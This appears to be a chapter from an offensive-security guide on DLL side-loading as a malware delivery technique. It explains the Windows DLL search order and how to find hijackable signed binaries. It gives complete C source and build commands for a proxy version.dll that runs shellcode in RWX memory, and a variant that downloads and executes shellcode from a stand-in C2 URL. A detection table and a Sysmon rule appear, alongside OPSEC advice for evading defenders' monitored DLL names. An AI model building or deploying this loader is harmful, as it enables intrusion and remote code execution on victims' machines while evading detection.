DLL Side-Loading as Delivery
DLL side-loading is the delivery technique that advanced threat actors return to again and again because it is structurally sound: a legitimate, signed binary loads your malicious DLL through Windows' own DLL search order. No unsigned executable runs. No macro fires. No script engine starts. The victim runs what appears to be a trusted application, and your code executes in that process's context — signed parent, unsigned child hidden inside. This chapter explains the DLL search order, walks through finding exploitable binaries with Process Monitor, builds a complete weaponized DLL, and maps the full detection surface for this technique.
DLL Search Order — The Core Mechanism
When a process calls LoadLibrary("version.dll") without a full path, Windows searches a series of locations in order until it finds a matching file. The attacker's goal: place a malicious DLL earlier in that search order than the legitimate one:
When LoadLibrary("target.dll") is called with no path:
─────────────────────────────────────────────────────────────────────────
1. KnownDLLs: %SystemRoot%\System32\KnownDLLs registry key
DLLs listed here are ALWAYS loaded from System32.
These cannot be hijacked via search order.
Key DLLs: ntdll.dll, kernel32.dll, user32.dll,
advapi32.dll, etc. — the core Windows DLLs.
2. Loaded modules: If the DLL is already loaded in this process,
the existing mapping is reused. No search occurs.
3. Application dir: The directory containing the EXE that called LoadLibrary.
← PRIMARY HIJACK POINT
If you put target.dll here, it loads before System32.
4. System32 dir: C:\Windows\System32\
Where the legitimate target.dll usually lives.
5. System dir: C:\Windows\System (16-bit compat, rarely relevant)
6. Windows dir: C:\Windows\
7. Current dir: The process's current working directory.
← SECONDARY HIJACK POINT (less reliable)
8. PATH environment: Each directory in %PATH%, in order.
SafeDllSearchMode (enabled by default on modern Windows):
─────────────────────────────────────────────────────────────────────────
When enabled, current directory (#7) moves AFTER System32 (#4).
This doesn't affect the application directory (#3) — that stays first.
Result: application-directory hijacking still works with SafeDllSearchMode.
KnownDLLs registry key:
─────────────────────────────────────────────────────────────────────────
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Lists DLL names → LoadLibrary ignores search order and loads from System32.
version.dll is NOT in KnownDLLs on most systems → can be hijacked.
Check: reg query HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLsFinding Hijackable Binaries — Process Monitor Method
The systematic approach: use Process Monitor to find legitimate executables that try to load DLLs from their own directory and fail (because the DLL isn't there). That "NAME NOT FOUND" result is your opportunity:
Step-by-step Process Monitor workflow:
1. Open Process Monitor as administrator
2. Filter setup (Ctrl+L):
Add filter: Operation | is | Load Image | then Include
Add filter: Result | is | NAME NOT FOUND | then Include
(This shows every DLL load attempt that failed)
3. Run the candidate executable (the signed binary you want to use)
4. Watch the output for entries where:
- Process = your target EXE
- Path ends in .dll
- Path = in the EXE's own directory OR a relative path (not System32)
- Result = NAME NOT FOUND
Example output:
Process: DocViewer.exe (signed by vendor X)
Operation: Load Image
Path: C:\Program Files\VendorX\DocViewer\version.dll
Result: NAME NOT FOUND ← this DLL doesn't exist in that directory
5. This means: if you place a version.dll in C:\Program Files\VendorX\DocViewer\,
it will load when DocViewer.exe starts.
6. Verify the DLL export requirement:
- Open the EXE in Ghidra or PEview
- Find the import for the DLL you're hijacking
- Check which EXPORTS it expects from that DLL
- Your malicious DLL must export those same names (or the EXE will crash)
Automating the search across many executables:
for exe in $(find "C:\Program Files" -name "*.exe"):
run procmon, filter for that process, log 30s, extract NAME NOT FOUND DLLs
check if those DLLs are in KnownDLLs
if not → candidate for hijacking
Proxy DLL — Forwarding Legitimate Exports
The malicious DLL must export any functions that the host EXE imports from the legitimate DLL — or the EXE will crash on startup. A proxy DLL forwards those calls to the real DLL while also running your payload:
/* proxy_version.c — proxy DLL for version.dll
Forwards all legitimate version.dll exports to the real DLL
while running our payload in DllMain.
Build: x86_64-w64-mingw32-gcc proxy_version.c -shared -o version.dll \
-Wl,--out-implib,version.lib
*/
#include <windows.h>
/* ── Forward all version.dll exports to the real DLL ──────────────────
The real version.dll lives in C:\Windows\System32\version.dll.
We locate it at runtime and forward calls to it. */
static HMODULE real_version = NULL;
/* Load the real DLL from System32 at DLL attach time */
static void load_real(void) {
char path[MAX_PATH];
GetSystemDirectoryA(path, MAX_PATH);
strcat(path, "\\version.dll");
real_version = LoadLibraryA(path);
}
/* ── Forwarded export stubs ────────────────────────────────────────── */
/* List all exports the host EXE actually uses. Check with:
dumpbin /imports DocViewer.exe | grep version
or: objdump -p DocViewer.exe | grep version */
typedef BOOL (WINAPI *VerQueryValueA_t)(LPCVOID, LPCSTR, LPVOID*, PUINT);
typedef BOOL (WINAPI *GetFileVersionInfoA_t)(LPCSTR, DWORD, DWORD, LPVOID);
typedef DWORD (WINAPI *GetFileVersionInfoSizeA_t)(LPCSTR, LPDWORD);
BOOL WINAPI VerQueryValueA(LPCVOID block, LPCSTR sub, LPVOID *buf, PUINT len) {
if (!real_version) load_real();
VerQueryValueA_t fn = (VerQueryValueA_t)GetProcAddress(real_version, "VerQueryValueA");
return fn ? fn(block, sub, buf, len) : FALSE;
}
BOOL WINAPI GetFileVersionInfoA(LPCSTR name, DWORD ignored, DWORD size, LPVOID buf) {
if (!real_version) load_real();
GetFileVersionInfoA_t fn = (GetFileVersionInfoA_t)GetProcAddress(real_version, "GetFileVersionInfoA");
return fn ? fn(name, ignored, size, buf) : FALSE;
}
DWORD WINAPI GetFileVersionInfoSizeA(LPCSTR name, LPDWORD dummy) {
if (!real_version) load_real();
GetFileVersionInfoSizeA_t fn = (GetFileVersionInfoSizeA_t)GetProcAddress(real_version, "GetFileVersionInfoSizeA");
return fn ? fn(name, dummy) : 0;
}
/* ── Our payload ───────────────────────────────────────────────────── */
static void run_payload(void) {
/* Option 1: Direct shellcode execution
Allocate RWX memory, copy shellcode, create thread */
unsigned char sc[] = { 0x90, 0x90, 0x90, 0xC3 }; /* replace with real shellcode */
LPVOID mem = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, sc, sizeof(sc));
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
/* Don't WaitForSingleObject here — DllMain must return promptly */
/* The thread runs independently; DllMain returns TRUE immediately */
(void)hThread;
}
/* ── DLL entry point ───────────────────────────────────────────────── */
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL); /* prevent DLL_THREAD_ATTACH floods */
load_real(); /* load real version.dll first */
run_payload(); /* run our payload in a new thread */
}
if (fdwReason == DLL_PROCESS_DETACH && real_version) {
FreeLibrary(real_version);
}
return TRUE;
}
Build commands:
# Cross-compile on Linux targeting Windows x64:
x86_64-w64-mingw32-gcc \
-shared \
-o version.dll \
proxy_version.c \
-Wl,--out-implib,version.lib \
-Wl,--enable-stdcall-fixup
# Strip debug symbols (reduces size, removes metadata):
x86_64-w64-mingw32-strip --strip-all version.dll
# Verify exports match what the host EXE imports:
objdump -p version.dll | grep -A30 "Export"
Using .def Files for Export Forwarding
A cleaner way to forward all exports from the legitimate DLL without writing individual stub functions — use a module definition file that directs the linker to forward exports directly to the real DLL:
version.def — module definition file with export forwarding:
LIBRARY version.dll
EXPORTS
GetFileVersionInfoA = C:\Windows\System32\version.GetFileVersionInfoA
GetFileVersionInfoExA = C:\Windows\System32\version.GetFileVersionInfoExA
GetFileVersionInfoExW = C:\Windows\System32\version.GetFileVersionInfoExW
GetFileVersionInfoSizeA = C:\Windows\System32\version.GetFileVersionInfoSizeA
GetFileVersionInfoSizeExA = C:\Windows\System32\version.GetFileVersionInfoSizeExA
GetFileVersionInfoSizeExW = C:\Windows\System32\version.GetFileVersionInfoSizeExW
GetFileVersionInfoSizeW = C:\Windows\System32\version.GetFileVersionInfoSizeW
GetFileVersionInfoW = C:\Windows\System32\version.GetFileVersionInfoW
VerFindFileA = C:\Windows\System32\version.VerFindFileA
VerFindFileW = C:\Windows\System32\version.VerFindFileW
VerInstallFileA = C:\Windows\System32\version.VerInstallFileA
VerInstallFileW = C:\Windows\System32\version.VerInstallFileW
VerLanguageNameA = C:\Windows\System32\version.VerLanguageNameA
VerLanguageNameW = C:\Windows\System32\version.VerLanguageNameW
VerQueryValueA = C:\Windows\System32\version.VerQueryValueA
VerQueryValueW = C:\Windows\System32\version.VerQueryValueW
Build with .def file:
x86_64-w64-mingw32-gcc -shared -o version.dll payload_only.c version.def
payload_only.c contains only DllMain with your payload code — no export stubs needed.
The .def file handles all forwarding directly in the linker output.
Download-at-Runtime Pattern
Instead of embedding the shellcode in the DLL (which gets scanned), have the DLL download the payload from C2 at runtime. The DLL itself contains only transport code and the download logic:
/* run_payload() variant: download shellcode from C2 */
static void run_payload(void) {
/* Step 1: Download shellcode via WinInet */
HMODULE hWinInet = LoadLibraryA("wininet.dll");
if (!hWinInet) return;
typedef HINTERNET (WINAPI *InternetOpenA_t)(LPCSTR,DWORD,LPCSTR,LPCSTR,DWORD);
typedef HINTERNET (WINAPI *InternetOpenUrlA_t)(HINTERNET,LPCSTR,LPCSTR,DWORD,DWORD,DWORD_PTR);
typedef BOOL (WINAPI *InternetReadFile_t)(HINTERNET,LPVOID,DWORD,LPDWORD);
typedef BOOL (WINAPI *InternetCloseHandle_t)(HINTERNET);
InternetOpenA_t pOpen = (InternetOpenA_t) GetProcAddress(hWinInet, "InternetOpenA");
InternetOpenUrlA_t pOpenUrl = (InternetOpenUrlA_t) GetProcAddress(hWinInet, "InternetOpenUrlA");
InternetReadFile_t pRead = (InternetReadFile_t) GetProcAddress(hWinInet, "InternetReadFile");
InternetCloseHandle_t pClose = (InternetCloseHandle_t)GetProcAddress(hWinInet, "InternetCloseHandle");
if (!pOpen || !pOpenUrl || !pRead || !pClose) return;
HINTERNET hSession = pOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hSession) return;
/* URL obfuscated — decrypt at runtime in real implementation */
const char *url = "https://cdn.example.com/assets/v2/bundle.bin";
HINTERNET hReq = pOpenUrl(hSession, url, NULL, 0,
INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hReq) { pClose(hSession); return; }
/* Download into heap buffer */
DWORD buf_size = 512 * 1024; /* 512KB initial buffer */
BYTE *buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, buf_size);
DWORD total = 0, read = 0;
while (pRead(hReq, buf + total, 4096, &read) && read > 0) {
total += read;
if (total + 4096 > buf_size) {
buf_size *= 2;
buf = (BYTE*)HeapReAlloc(GetProcessHeap(), 0, buf, buf_size);
}
}
pClose(hReq); pClose(hSession);
if (total == 0) { HeapFree(GetProcessHeap(), 0, buf); return; }
/* Step 2: Allocate RWX, copy, execute */
LPVOID mem = VirtualAlloc(NULL, total, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) { HeapFree(GetProcessHeap(), 0, buf); return; }
memcpy(mem, buf, total);
HeapFree(GetProcessHeap(), 0, buf);
/* Step 3: Create thread (DllMain cannot block) */
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
}
Detection Footprint
Technique variant │ Events triggered │ Evaded signal
───────────────────────────┼───────────────────────────────────────────┼─────────────────────────
Embedded shellcode DLL │ Sysmon 7: DLL loaded from non-system path │ No child process
│ EDR: VirtualAlloc(RWX) in signed EXE │ No script engine
│ EDR: CreateThread @ unbacked address │ No macro
Download-at-runtime DLL │ Sysmon 7: DLL load + wininet.dll load │ No payload on disk
│ Sysmon 3: signed EXE → outbound HTTPS │ DLL is small, clean
│ Sysmon 22: DNS query for C2 │ Signed parent context
───────────────────────────┴───────────────────────────────────────────┴─────────────────────────
Sysmon 7 (ImageLoad) — key detection rule:
──────────────────────────────────────────────────────────────────────────────────────
Alert when:
Image = version.dll (or any commonly hijacked DLL)
ImageLoaded path does NOT start with C:\Windows\System32\
→ version.dll loaded from C:\Users\...\AppData\ or from a mounted drive
Well-known hijackable DLL names that defenders monitor:
version.dll, dbghelp.dll, wer.dll, winmm.dll, wininet.dll,
rasapi32.dll, netapi32.dll, cryptbase.dll, UxTheme.dll
OPSEC advice: avoid these burned names. Use Process Monitor to find DLL
names specific to the target software that defenders don't have rules for.Questions & Answers
Why can't DllMain block or do complex operations directly?
DllMain runs inside the loader lock — a critical section that prevents other threads from loading or unloading DLLs while yours is initializing. If DllMain calls any function that tries to acquire the loader lock (including LoadLibrary, WaitForSingleObject on a thread, most COM operations, and many network calls), it will deadlock. The entire process hangs. This is why the pattern is: DllMain creates a thread (CreateThread) and returns TRUE immediately. The spawned thread then does the actual work (download, allocate, copy, execute shellcode) outside of DllMain and outside of the loader lock. The DisableThreadLibraryCalls call in DllMain prevents DLL_THREAD_ATTACH/DETACH notifications from firing for every new thread, which would otherwise call DllMain repeatedly.
How does KnownDLLs protect against hijacking, and what's left unprotected?
KnownDLLs is a registry key that lists DLL names the loader should always map from System32 — bypassing the search order entirely. When a process calls LoadLibrary("kernel32.dll"), the loader checks KnownDLLs first, finds it listed, and maps the System32 copy regardless of what's in the application directory. The protected set includes the core Windows DLLs that everything depends on: ntdll.dll, kernel32.dll, user32.dll, advapi32.dll, and about 30 others. The unprotected DLLs — version.dll, dbghelp.dll, winmm.dll, and hundreds of vendor-specific DLLs — are not in KnownDLLs and can be hijacked via search order. Check the registry to confirm before targeting a specific DLL name.
What's the difference between DLL side-loading (this chapter) and DLL hijacking for persistence (Ch78)?
The technique is the same mechanically — you're exploiting DLL search order to substitute a malicious DLL for a legitimate one. The difference is context and goal. As a delivery technique (this chapter): you put the signed EXE and malicious DLL together in an ISO container, the user runs it once to get initial access. After execution, the ISO is unmounted, the files are gone, and the DLL hijack doesn't persist. As a persistence technique (Ch78): you install your malicious DLL in a location where a legitimate EXE that runs at startup or regularly will load it every time the system starts. The DLL persists on disk, and the sideload happens automatically on every reboot or service start. The initial access version is ephemeral; the persistence version is durable.
Can you sign the malicious DLL to make it look more legitimate?
In theory yes — code signing is covered in Ch67. In practice, the DLL's digital signature is verified against the certificate, not against the file's content or the DLL name. An attacker can: (1) sign the DLL with a purchased code-signing certificate (expensive, requires identity verification, gets revoked if caught); (2) sign with a stolen/leaked certificate (from a compromised vendor — many real-world campaigns use this); (3) use an open-source project's legitimate signing certificate if that project's build infrastructure is compromised (supply chain route). From a detection standpoint, EDRs that check signatures will see: the host EXE is signed and valid, the loaded version.dll is either unsigned or signed by an unexpected publisher. The publisher mismatch is a detection signal. A self-signed certificate or an unknown CA certificate on the DLL is suspicious.